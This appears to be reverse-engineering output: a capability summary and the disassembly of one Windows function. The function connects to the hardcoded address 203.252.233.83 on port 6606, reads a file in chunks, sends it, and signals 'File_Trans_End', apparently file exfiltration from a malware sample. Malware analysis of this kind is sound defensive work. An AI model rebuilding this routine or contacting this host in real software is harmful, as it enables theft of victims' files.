Function at 0x401b10
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Read and send data from client to server
Read file on windows
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x1f0
mov eax, dword [0x427a94]
xor eax, esp
mov dword [esp + 0x1e8], eax
mov eax, dword [str.Thank_you]
mov ecx, dword [0x42350c]
mov dx, word [0x423510]
push ebx
mov dword [esp + 0x1ac], eax
xor eax, eax
push esi
push edi
mov dword [esp + 0x1be], eax
mov dword [esp + 0x1c2], eax
mov dword [esp + 0x1c6], eax
mov dword [esp + 0x1ca], eax
mov dword [esp + 0x1ce], eax
lea eax, [esp + 0x20]
push eax
push 0x202
mov dword [esp + 0x1c0], ecx
mov word [esp + 0x1c4], dx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x401be8
mov eax, dword [esp + 0x200]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401bab
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x204]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401bce
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1e8]
xor ecx, esp
call fcn.0040c4e6
add esp, 0x1f0
ret
mov ecx, dword [esp + 0x200]
push 0x423514
push ecx
call fcn.0040cc58
add esp, 8
push 0
push 1
push 2
mov edi, eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
xor eax, eax
mov edx, 2
mov dword [esp + 0x10], eax
push str.203.252.233.83
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov word [esp + 0x14], dx
call dword [sym.imp.WS2_32.dll_inet_addr]
push str.6606
mov dword [esp + 0x18], eax
call fcn.0040c8ec
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
push 0x10
lea eax, [esp + 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x401c7f
push esi
mov dword [0x42b700], 0
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x401b88
mov ecx, dword [esp + 0x200]
push 0xe
push str.File_Trans_End
push ecx
call fcn.0040c816
add esp, 0xc
push 0
test eax, eax
jne 0x401cc6
push 0xe
push str.File_Trans_End
push esi
call dword [sym.imp.WS2_32.dll_send]
mov eax, dword [esp + 0x200]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jmp 0x401e2b
cmp dword [0x42b700], 0
jne 0x401d7f
push 0x1e
lea ecx, [esp + 0x1dc]
push ecx
push esi
call dword [sym.imp.WS2_32.dll_recv]
lea eax, [esp + 0x1d4]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401cf0
sub eax, edx
cmp eax, 3
jne 0x401d4c
push 4
lea edx, [esp + 0x1d8]
push edx
push 0x42b6e8
mov dword [0x42b700], 1
call fcn.0040ca70
add esp, 0xc
push 0
push 0x10
push 0x42b6f0
push esi
call dword [sym.imp.WS2_32.dll_send]
lea ecx, [esp + 0x200]
call fcn.00402200
lea ecx, [esp + 0x204]
call fcn.00402200
jmp 0x401e5a
push edi
call fcn.0040d0e4
add esp, 4
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea ecx, [esp + 0x200]
call fcn.00402200
lea ecx, [esp + 0x204]
call fcn.00402200
jmp 0x401bce
mov eax, dword [esp + 0x208]
mov ebx, dword [sym.imp.WS2_32.dll_send]
push 0x64
push eax
push esi
call ebx
push edi
push 0x1e
lea ecx, [esp + 0x1dc]
push 1
push ecx
call fcn.0040cf0f
add esp, 0x10
cmp eax, 0x1e
jl 0x401dd9
lea esp, [esp]
push 0
push 0x1e
lea edx, [esp + 0x1dc]
push edx
push esi
call ebx
push edi
push 0x1e
lea eax, [esp + 0x1dc]
push 1
push eax
call fcn.0040cf0f
add esp, 0x10
cmp eax, 0x1e
jge 0x401db0
push 0
push eax
lea ecx, [esp + 0x1dc]
push ecx
push esi
call ebx
push 9
lea edx, [esp + 0x1b8]
push edx
lea eax, [esp + 0x1dc]
push eax
call fcn.0040c816
push edi
call fcn.0040d0e4
add esp, 0x10
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [esp + 0x200]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401e37
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x204]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401e5a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x1f4]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.0040c4e6
add esp, 0x1f0
ret